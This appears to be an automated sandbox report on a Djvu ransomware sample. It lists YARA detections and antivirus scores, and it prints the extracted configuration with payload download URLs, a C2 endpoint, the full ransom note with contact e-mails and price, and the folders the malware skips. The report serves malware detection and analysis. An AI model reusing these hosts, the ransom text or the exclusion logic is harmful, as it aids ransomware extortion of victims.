14.1.ZZGJ1bZClw.exe.400000.0.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4f:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472f:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
14.1.ZZGJ1bZClw.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
10.2.ZZGJ1bZClw.exe.400000.0.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4f:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472f:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
10.2.ZZGJ1bZClw.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
12.2.ZZGJ1bZClw.exe.24415a0.1.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54f:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312f:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
12.2.ZZGJ1bZClw.exe.24415a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
8.2.ZZGJ1bZClw.exe.400000.0.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54f:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312f:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
8.2.ZZGJ1bZClw.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
7.2.ZZGJ1bZClw.exe.400000.0.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54f:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312f:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
7.2.ZZGJ1bZClw.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
6.2.ZZGJ1bZClw.exe.22915a0.1.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54f:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312f:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
6.2.ZZGJ1bZClw.exe.22915a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
2.1.ZZGJ1bZClw.exe.400000.0.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54f:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312f:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
2.1.ZZGJ1bZClw.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
14.2.ZZGJ1bZClw.exe.400000.0.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54f:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312f:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
14.2.ZZGJ1bZClw.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
10.2.ZZGJ1bZClw.exe.400000.0.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54f:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312f:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
10.2.ZZGJ1bZClw.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
8.1.ZZGJ1bZClw.exe.400000.0.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4f:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472f:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
8.1.ZZGJ1bZClw.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
14.2.ZZGJ1bZClw.exe.400000.0.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4f:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472f:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
14.2.ZZGJ1bZClw.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Click to see the 51 entries

Sigma Overview

No Sigma rule has matched

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 6.2.ZZGJ1bZClw.exe.22915a0.1.raw.unpack

Malware Configuration Extractor: Djvu {"Download URLs": ["http://securebiz.org/dl/build2.exe", "http://wrrst.top/files/1/build3.exe"], "C2 url": "http://wrrst.top/fhsgtsspen6/get.php", "Ransom note file": "_readme.txt", "Ransom note": "ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-J0DxAGRqKO\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nmanager@mailtemp.ch\r\n\r\nReserve e-mail address to contact us:\r\nmanagerhelper@airmail.cc\r\n\r\nYour personal ID:\r\n0334gSd743d", "Ignore Files": ["ntuser.dat", "ntuser.dat.LOG1", "ntuser.dat.LOG2", "ntuser.pol", ".sys", ".ini", ".DLL", ".dll", ".blf", ".bat", ".lnk", ".regtrans-ms", "C:\\SystemID\\", "C:\\Users\\Default User\\", "C:\\Users\\Public\\", "C:\\Users\\All Users\\", "C:\\Users\\Default\\", "C:\\Documents and Settings\\", "C:\\ProgramData\\", "C:\\Recovery\\", "C:\\System Volume Information\\", "C:\\Users\\%username%\\AppData\\Roaming\\", "C:\\Users\\%username%\\AppData\\Local\\", "C:\\Windows\\", "C:\\PerfLogs\\", "C:\\ProgramData\\Microsoft\\", "C:\\ProgramData\\Package Cache\\", "C:\\Users\\Public\\", "C:\\$Recycle.Bin\\", "C:\\$WINDOWS.~BT\\", "C:\\dell\\", "C:\\Intel\\", "C:\\MSOCache\\", "C:\\Program Files\\", "C:\\Program Files (x86)\\", "C:\\Games\\", "C:\\Windows.old\\", "D:\\Users\\%username%\\AppData\\Roaming\\", "D:\\Users\\%username%\\AppData\\Local\\", "D:\\Windows\\", "D:\\PerfLogs\\", "D:\\ProgramData\\Desktop\\", "D:\\ProgramData\\Microsoft\\", "D:\\ProgramData\\Package Cache\\", "D:\\Users\\Public\\", "D:\\$Recycle.Bin\\", "D:\\$WINDOWS.~BT\\", "D:\\dell\\", "D:\\Intel\\", "D:\\MSOCache\\", "D:\\Program Files\\", "D:\\Program Files (x86)\\", "D:\\Games\\", "E:\\Users\\%username%\\AppData\\Roaming\\", "E:\\Users\\%username%\\AppData\\Local\\", "E:\\Windows\\", "E:\\PerfLogs\\", "E:\\ProgramData\\Desktop\\", "E:\\ProgramData\\Microsoft\\", "E:\\ProgramData\\Package Cache\\", "E:\\Users\\Public\\", "E:\\$Recycle.Bin\\", "E:\\$WINDOWS.~BT\\", "E:\\dell\\", "E:\\Intel\\", "E:\\MSOCache\\", "E:\\Program Files\\", "E:\\Program Files (x86)\\", "E:\\Games\\", "F:\\Users\\%username%\\AppData\\Roaming\\", "F:\\Users\\%username%\\AppData\\Local\\", "F:\

Multi AV Scanner detection for submitted file

Show sources

Source: ZZGJ1bZClw.exe	Virustotal: Detection: 36%			Perma Link
Source: ZZGJ1bZClw.exe	ReversingLabs: Detection: 85%

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe

ReversingLabs: Detection: 85%

Machine Learning detection for sample

Show sources

Source: ZZGJ1bZClw.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	Code function: 2_2_0040E870 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,	2_2_0040E870
Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	Code function: 2_2_0040EAA0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,	2_2_0040EAA0
Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	Code function: 2_2_00410FC0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,lstrlenA,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,CryptGetHashParam,_malloc,CryptGetHashParam,_memset,_sprintf,lstrcatA,CryptDestroyHash,CryptReleaseContext,	2_2_00410FC0

Compliance:

Detected unpacking (overwrites its own PE header)

Show sources

Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	Unpacked PE file: 2.2.ZZGJ1bZClw.exe.400000.0.unpack
Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	Unpacked PE file: 7.2.ZZGJ1bZClw.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe	Unpacked PE file: 8.2.ZZGJ1bZClw.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe	Unpacked PE file: 10.2.ZZGJ1bZClw.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe	Unpacked PE file: 14.2.ZZGJ1bZClw.exe.400000.0.unpack

Source: ZZGJ1bZClw.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, RELOCS_STRIPPED

Source: unknown	HTTPS traffic detected: 77.123.139.190:443 -> 192.168.2.6:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.123.139.190:443 -> 192.168.2.6:49772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.123.139.190:443 -> 192.168.2.6:49777 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.123.139.190:443 -> 192.168.2.6:49778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.123.139.190:443 -> 192.168.2.6:49779 version: TLS 1.2

Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb source: ZZGJ1bZClw.exe, ZZGJ1bZClw.exe, 00000006.00000002.395438224.0000000002290000.00000040.00000001.sdmp, ZZGJ1bZClw.exe, 00000007.00000002.388374111.0000000000400000.00000040.00000001.sdmp, ZZGJ1bZClw.exe, 00000008.00000002.398022739.0000000000400000.00000040.00000001.sdmp, ZZGJ1bZClw.exe, 0000000A.00000001.400162515.0000000000400000.00000040.00020000.sdmp, ZZGJ1bZClw.exe, 0000000C.00000002.415234158.0000000002440000.00000040.00000001.sdmp, ZZGJ1bZClw.exe, 0000000E.00000001.412816709.0000000000400000.00000040.00020000.sdmp
Source:	Binary string: C:\tihisud\62\cugenuxuya-mozemizeku.pdb source: ZZGJ1bZClw.exe
Source:	Binary string: dPC:\tihisud\62\cugenuxuya-mozemizeku.pdb source: ZZGJ1bZClw.exe
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdbI source: ZZGJ1bZClw.exe, 00000001.00000002.361885300.00000000022B0000.00000040.00000001.sdmp, ZZGJ1bZClw.exe, 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, ZZGJ1bZClw.exe, 00000004.00000002.387076079.0000000002310000.00000040.00000001.sdmp, ZZGJ1bZClw.exe, 00000005.00000002.403053560.0000000002280000.00000040.00000001.sdmp, ZZGJ1bZClw.exe, 00000006.00000002.395438224.0000000002290000.00000040.00000001.sdmp, ZZGJ1bZClw.exe, 00000007.00000002.388374111.0000000000400000.00000040.00000001.sdmp, ZZGJ1bZClw.exe, 00000008.00000002.398022739.0000000000400000.00000040.00000001.sdmp, ZZGJ1bZClw.exe, 0000000A.00000001.400162515.0000000000400000.00000040.00020000.sdmp, ZZGJ1bZClw.exe, 0000000C.00000002.415234158.0000000002440000.00000040.00000001.sdmp, ZZGJ1bZClw.exe, 0000000E.00000001.412816709.0000000000400000.00000040.00020000.sdmp

Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe

Code function: 2_2_0040F730 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,_wcsstr,_wcsstr,FindNextFileW,FindClose,

2_2_0040F730

Networking:

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor

URLs: http://wrrst.top/fhsgtsspen6/get.php

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Joe Sandbox View

IP Address: 77.123.139.190 77.123.139.190

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778

Source: ZZGJ1bZClw.exe, 00000002.00000003.362450680.00000000008FE000.00000004.00000001.sdmp, ZZGJ1bZClw.exe, 0000000E.00000003.415619412.0000000000821000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: ZZGJ1bZClw.exe, 00000001.00000002.361885300.00000000022B0000.00000040.00000001.sdmp, ZZGJ1bZClw.exe, 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, ZZGJ1bZClw.exe, 00000004.00000002.387076079.0000000002310000.00000040.00000001.sdmp, ZZGJ1bZClw.exe, 00000005.00000002.403053560.0000000002280000.00000040.00000001.sdmp, ZZGJ1bZClw.exe, 00000006.00000002.395438224.0000000002290000.00000040.00000001.sdmp, ZZGJ1bZClw.exe, 00000007.00000002.388374111.0000000000400000.00000040.00000001.sdmp, ZZGJ1bZClw.exe, 00000008.00000002.398022739.0000000000400000.00000040.00000001.sdmp, ZZGJ1bZClw.exe, 0000000A.00000001.400162515.0000000000400000.00000040.00020000.sdmp, ZZGJ1bZClw.exe, 0000000C.00000002.415234158.0000000002440000.00000040.00000001.sdmp, ZZGJ1bZClw.exe, 0000000E.00000001.412816709.0000000000400000.00000040.00020000.sdmp	String found in binary or memory: http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error
Source: ZZGJ1bZClw.exe, 0000000E.00000001.412816709.0000000000400000.00000040.00020000.sdmp	String found in binary or memory: http://www.openssl.org/support/faq.html
Source: ZZGJ1bZClw.exe, 00000002.00000003.362635236.00000000008D0000.00000004.00000001.sdmp, ZZGJ1bZClw.exe, 0000000E.00000003.415619412.0000000000821000.00000004.00000001.sdmp	String found in binary or memory: https://api.2ip.ua/
Source: ZZGJ1bZClw.exe, 0000000E.00000002.416652435.00000000007C8000.00000004.00000020.sdmp	String found in binary or memory: https://api.2ip.ua/7
Source: ZZGJ1bZClw.exe, ZZGJ1bZClw.exe, 00000005.00000002.403053560.0000000002280000.00000040.00000001.sdmp, ZZGJ1bZClw.exe, 00000006.00000002.395438224.0000000002290000.00000040.00000001.sdmp, ZZGJ1bZClw.exe, 00000007.00000002.388374111.0000000000400000.00000040.00000001.sdmp, ZZGJ1bZClw.exe, 00000008.00000002.398488980.000000000061C000.00000004.00000001.sdmp, ZZGJ1bZClw.exe, 00000008.00000002.398022739.0000000000400000.00000040.00000001.sdmp, ZZGJ1bZClw.exe, 0000000A.00000001.400162515.0000000000400000.00000040.00020000.sdmp, ZZGJ1bZClw.exe, 0000000C.00000002.415234158.0000000002440000.00000040.00000001.sdmp, ZZGJ1bZClw.exe, 0000000E.00000003.415619412.0000000000821000.00000004.00000001.sdmp, ZZGJ1bZClw.exe, 0000000E.00000001.412816709.0000000000400000.00000040.00020000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json
Source: ZZGJ1bZClw.exe, 00000002.00000003.362692182.00000000008DA000.00000004.00000001.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json=
Source: ZZGJ1bZClw.exe, 0000000E.00000002.416652435.00000000007C8000.00000004.00000020.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonMZ
Source: ZZGJ1bZClw.exe, 00000002.00000002.369437142.0000000000877000.00000004.00000020.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonal
Source: ZZGJ1bZClw.exe, 0000000E.00000002.416684605.000000000081B000.00000004.00000020.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonl
Source: ZZGJ1bZClw.exe, 0000000E.00000002.416652435.00000000007C8000.00000004.00000020.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonrt0
Source: ZZGJ1bZClw.exe, 0000000E.00000002.416652435.00000000007C8000.00000004.00000020.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsons
Source: ZZGJ1bZClw.exe, 0000000E.00000002.416652435.00000000007C8000.00000004.00000020.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsont:
Source: ZZGJ1bZClw.exe, 00000002.00000003.362635236.00000000008D0000.00000004.00000001.sdmp	String found in binary or memory: https://api.2ip.ua/y

Source: unknown

DNS traffic detected: queries for: clientconfig.passport.net

Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe

Code function: 2_2_0040CF10 _memset,InternetOpenW,InternetOpenUrlW,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

2_2_0040CF10

Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua

Source: unknown	HTTPS traffic detected: 77.123.139.190:443 -> 192.168.2.6:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.123.139.190:443 -> 192.168.2.6:49772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.123.139.190:443 -> 192.168.2.6:49777 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.123.139.190:443 -> 192.168.2.6:49778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.123.139.190:443 -> 192.168.2.6:49779 version: TLS 1.2

Source: ZZGJ1bZClw.exe, 00000001.00000002.361497898.000000000076A000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

Spam, unwanted Advertisements and Ransom Demands:

Yara detected Djvu Ransomware

Show sources

Source: Yara match	File source: 5.2.ZZGJ1bZClw.exe.22815a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.1.ZZGJ1bZClw.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.ZZGJ1bZClw.exe.23115a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.1.ZZGJ1bZClw.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.ZZGJ1bZClw.exe.23115a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.ZZGJ1bZClw.exe.22815a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.ZZGJ1bZClw.exe.22915a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.ZZGJ1bZClw.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.ZZGJ1bZClw.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.1.ZZGJ1bZClw.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.ZZGJ1bZClw.exe.24415a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.ZZGJ1bZClw.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.1.ZZGJ1bZClw.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.ZZGJ1bZClw.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.1.ZZGJ1bZClw.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.ZZGJ1bZClw.exe.22b15a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.ZZGJ1bZClw.exe.22b15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.1.ZZGJ1bZClw.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.ZZGJ1bZClw.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.ZZGJ1bZClw.exe.24415a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.ZZGJ1bZClw.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.ZZGJ1bZClw.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.ZZGJ1bZClw.exe.22915a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.1.ZZGJ1bZClw.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.ZZGJ1bZClw.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.ZZGJ1bZClw.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.1.ZZGJ1bZClw.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.ZZGJ1bZClw.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.403053560.0000000002280000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.361885300.00000000022B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.387076079.0000000002310000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000001.400162515.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.388374111.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.402983269.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000001.412816709.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.415234158.0000000002440000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.398022739.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000001.359707348.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.395438224.0000000002290000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000001.394915120.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.416440779.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ZZGJ1bZClw.exe PID: 6900, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ZZGJ1bZClw.exe PID: 6604, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ZZGJ1bZClw.exe PID: 7064, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ZZGJ1bZClw.exe PID: 600, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ZZGJ1bZClw.exe PID: 2932, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ZZGJ1bZClw.exe PID: 6792, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ZZGJ1bZClw.exe PID: 992, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ZZGJ1bZClw.exe PID: 6632, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ZZGJ1bZClw.exe PID: 7160, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ZZGJ1bZClw.exe PID: 5848, type: MEMORYSTR

Source: ZZGJ1bZClw.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, RELOCS_STRIPPED

